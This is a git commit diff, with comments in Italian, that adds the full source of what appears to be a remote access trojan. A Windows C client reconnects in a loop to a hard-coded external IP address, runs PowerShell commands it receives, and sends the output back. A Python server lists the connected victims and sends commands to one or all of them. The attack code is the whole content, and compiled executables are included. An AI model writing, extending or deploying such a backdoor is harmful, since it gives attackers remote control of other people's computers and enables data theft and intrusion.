Initial commit

This commit is contained in:
fixi 2025-09-23 21:57:00 +02:00
commit 0682fed098
7 changed files with 319 additions and 0 deletions

5
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,5 @@
{
"files.associations": {
"networking.h": "c"
}
}

78
include/commandhandler.h Normal file
View File

@ -0,0 +1,78 @@
#ifndef COMMAND_H
#define COMMAND_H
FILE *fp;
// Esegui un comando powershell
void run_powershell_command(uint8_t cmd[], WSADATA* wsa, SOCKET* s) {
if (!isSocketConnected(*s)) {
printf("Socket non connesso, impossibile eseguire comando\n");
return;
}
printf("Esecuzione comando PowerShell: %s\n", cmd);
char sendbuffer[4096];
char command[4096] = "powershell.exe -Command ";
strncat(command, (char*)cmd, sizeof(command) - strlen(command) - 1);
fp = _popen(command, "r");
if (fp == NULL) {
char* error_msg = "Errore nell'avvio di PowerShell";
sendCommand(wsa, s, error_msg);
return;
}
while (fgets(sendbuffer, sizeof(sendbuffer), fp) != NULL) {
// Controlla se il socket è ancora connesso prima di inviare
if (!isSocketConnected(*s)) {
printf("Client disconnected during command execution\n");
break;
}
sendCommand(wsa, s, sendbuffer);
}
_pclose(fp);
// Invia messaggio di completamento
if (isSocketConnected(*s)) {
sendCommand(wsa, s, "[COMMAND_COMPLETED]");
}
}
void handleCommand(WSADATA* wsa, SOCKET* s, uint8_t cmd[]) {
// Controlla sempre se il socket è ancora connesso
if (!isSocketConnected(*s)) {
printf("Socket disconnesso, impossibile gestire comando\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
return;
}
switch (cmd[0]) {
case 10: // PowerShell
printf("Comando PowerShell ricevuto\n");
if (!isSocketConnected(*s)) {
printf("Client disconnected before command reception\n");
return;
}
uint8_t command_buffer[4096] = {0};
receiveCommand(wsa, s, command_buffer);
// Verifica se la ricezione è riuscita e il socket è ancora valido
if (isSocketConnected(*s) && strlen((char*)command_buffer) > 0) {
run_powershell_command(command_buffer, wsa, s);
}
break;
default:
printf("Comando sconosciuto: %d\n", cmd[0]);
break;
}
}
#endif

101
include/networking.h Normal file
View File

@ -0,0 +1,101 @@
#ifndef NETWORKING_H
#define NETWORKING_H
#define IP "37.60.240.95"
#define PORT 6134
// Robe/costanti/struct ecc
struct sockaddr_in server;
// Fuznione che inizializza il socket e la connessione
void InitSocket(WSADATA* wsa, SOCKET* s){
// Ciclo inizializzazzione librerie di rete
WSAStartup(MAKEWORD(2,2),wsa);
(*s) = socket(AF_INET, SOCK_STREAM, 0);
// Ciclo di connessione al server
while(1){
// Setup prima della connessione
server.sin_addr.s_addr = inet_addr(IP);
server.sin_family = AF_INET;
server.sin_port = htons(PORT);
// Connessione
if(connect(*s, (struct sockaddr *)&server, sizeof(server)) != -1){
break;
}
Sleep(500);
}
}
int isSocketConnected(SOCKET s) {
if (s == INVALID_SOCKET) return 0;
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(s, &readfds);
return (select(0, &readfds, NULL, NULL, 0) != SOCKET_ERROR);
}
void receiveCommand(WSADATA* wsa, SOCKET* s, uint8_t* receivebuffer) {
if (!isSocketConnected(*s)) {
printf("Socket non connesso, riconnessione necessaria\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
return;
}
memset(receivebuffer, 0, 4096);
int bytes_received = recv(*s, receivebuffer, 4095, 0);
if (bytes_received == SOCKET_ERROR) {
int error = WSAGetLastError();
printf("Errore ricezione: %d - Riconnessione...\n", error);
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
} else if (bytes_received == 0) {
printf("Client disconnected normally\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
} else {
receivebuffer[bytes_received] = '\0';
}
}
void sendCommand(WSADATA* wsa, SOCKET* s, char* sendbuffer) {
if (!isSocketConnected(*s)) {
printf("Socket non connesso, impossibile inviare\n");
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
return;
}
int length = strlen(sendbuffer);
int bytes_sent = send(*s, sendbuffer, length, 0);
if (bytes_sent == SOCKET_ERROR) {
int error = WSAGetLastError();
printf("Errore invio: %d - Riconnessione...\n", error);
closesocket(*s);
WSACleanup();
InitSocket(wsa, s);
}
}
#endif

40
main.c Normal file
View File

@ -0,0 +1,40 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include "winsock2.h"
#include "windows.h"
#include "include/networking.h"
#include "include/commandhandler.h"
int main(int argc, char* argv[]){
SOCKET s;
WSADATA wsa;
uint8_t receivebuffer[4096];
uint8_t sendbuffer[4096];
printf("Starting... \n");
printf("Initializing socket... \n");
InitSocket(&wsa, &s);
printf("Socket initialized \n");
// Ciclo principale
while(1){
receiveCommand(&wsa, &s, receivebuffer);
if(receivebuffer[0] != 0){
printf("%s\n", receivebuffer);
// Parsing comando
handleCommand(&wsa, &s, receivebuffer);
}
Sleep(200);
}
return 0;
}

BIN
output/client.exe Normal file

Binary file not shown.

BIN
output/out.exe Normal file

Binary file not shown.

95
server.py Normal file
View File

@ -0,0 +1,95 @@
import socket
import threading
IP = "0.0.0.0"
PORT = 6134
BIND = IP + ":" + str(PORT)
clients = {}
client_id_counter = 1
lock = threading.Lock()
def client_receive(conn, addr, client_id):
while True:
try:
data = conn.recv(4096) # Aumentato il buffer a 1024
if not data:
break
msg = data.decode("utf-8") # CORRETTO: decode invece di encode
print(f"[Client {client_id} - {addr}] {msg}")
except:
break
with lock:
print(f"Connessione chiusa dal client {client_id}")
if client_id in clients:
del clients[client_id]
conn.close()
def client_send():
while True:
comando = input("comando> ")
if comando == "list":
with lock:
if not clients:
print("Nessun client connesso")
else:
for cid, (conn, addr) in clients.items():
print(f"Client {cid}: {addr}")
continue
elif ":" not in comando:
print("Formato: <id|all>: comando")
continue
target, msg = comando.split(":", 1)
if(msg == "ps" or msg == "powershell"):
msg = 10
msg = msg.to_bytes(1)
arg = input("Remote Command: ")
else:
{
print("Comando non valido")
}
with lock:
if target.strip().lower() == "all":
for cid, (conn, _) in clients.items():
conn.sendall(msg)
conn.sendall(arg.encode("utf-8"))
else:
try:
cid = int(target.strip())
if cid in clients:
clients[cid][0].sendall(msg)
clients[cid][0].sendall(arg.encode("utf-8"))
else:
print("Nessun client trovato")
except ValueError:
print("ID Non Valido")
def main():
global client_id_counter
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((IP, PORT))
server_socket.listen()
print(f"Server in ascolto su {BIND}")
# Avvia il thread per l'invio dei comandi
threading.Thread(target=client_send, daemon=True).start()
while True:
conn, addr = server_socket.accept()
with lock:
cid = client_id_counter
client_id_counter += 1
clients[cid] = (conn, addr)
print(f"Nuova connessione da {addr} assegnata ID: {cid}")
# Avvia il thread per ricevere i messaggi dal client
threading.Thread(target=client_receive, args=(conn, addr, cid), daemon=True).start()
if __name__ == "__main__":
main()